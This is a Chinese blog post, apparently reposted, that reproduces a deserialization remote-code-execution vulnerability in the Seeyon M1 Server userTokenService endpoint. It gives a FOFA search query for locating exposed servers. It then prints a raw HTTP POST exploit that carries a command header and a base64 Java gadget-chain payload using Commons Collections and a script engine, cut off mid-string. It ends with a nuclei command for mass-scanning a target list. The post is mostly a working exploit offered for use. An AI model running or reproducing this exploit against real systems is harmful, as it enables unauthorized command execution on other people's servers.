漏洞复现 致远M1 usertokenservice 反序列化RCE漏洞
2023-11-10 11:5:34 Author: 阿乐你好(查看原文) 阅读量:170 收藏

0x01 阅读须知

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0x02 漏洞描述

致远M1 userTokenService存在反序列化漏洞，可造成rce

0x03 漏洞复现

fofa-qeury: "M1-Server 已启动"

1.执行poc进行输出，得到结果

POST /esn_mobile_pns/service/userTokenService HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencodedcmd: @@@@@{{rce}}{{base64_decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyACBqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlcgAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQAC25ld0luc3RhbmNldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgATdXEAfgAYAAAAAXQAAmpzdAAPZ2V0RW5naW5lQnlOYW1ldXEAfgAbAAAAAXZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHNxAH4AE3VxAH4AGAAAAAF0LWx0cnkgewogIGxvYWQoIm5hc2hvcm46bW96aWxsYV9jb21wYXQuanMiKTsKfSBjYXRjaCAoZSkge30KZnVuY3Rpb24gZ2V0VW5zYWZlKCl7CiAgdmFyIHRoZVVuc2FmZU1ldGhvZCA9IGphdmEubGFuZy5DbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5VbnNhZmUiKS5nZXREZWNsYXJlZEZpZWxkKCd0aGVVbnNhZmUnKTsKICB0aGVVbnNhZmVNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsgCiAgcmV0dXJuIHRoZVVuc2FmZU1ldGhvZC5nZXQobnVsbCk7Cn0KZnVuY3Rpb24gcmVtb3ZlQ2xhc3NDYWNoZShjbGF6eil7CiAgdmFyIHVuc2FmZSA9IGdldFVuc2FmZSgpOwogIHZhciBjbGF6ekFub255bW91c0NsYXNzID0gdW5zYWZlLmRlZmluZUFub255bW91c0NsYXNzKGNsYXp6LGphdmE

2.nuclei批量验证脚本已发布于知识星球

nuclei.exe -t zhiyuan-m1-usertokenservice-rce.yaml -l subs.txt -stat

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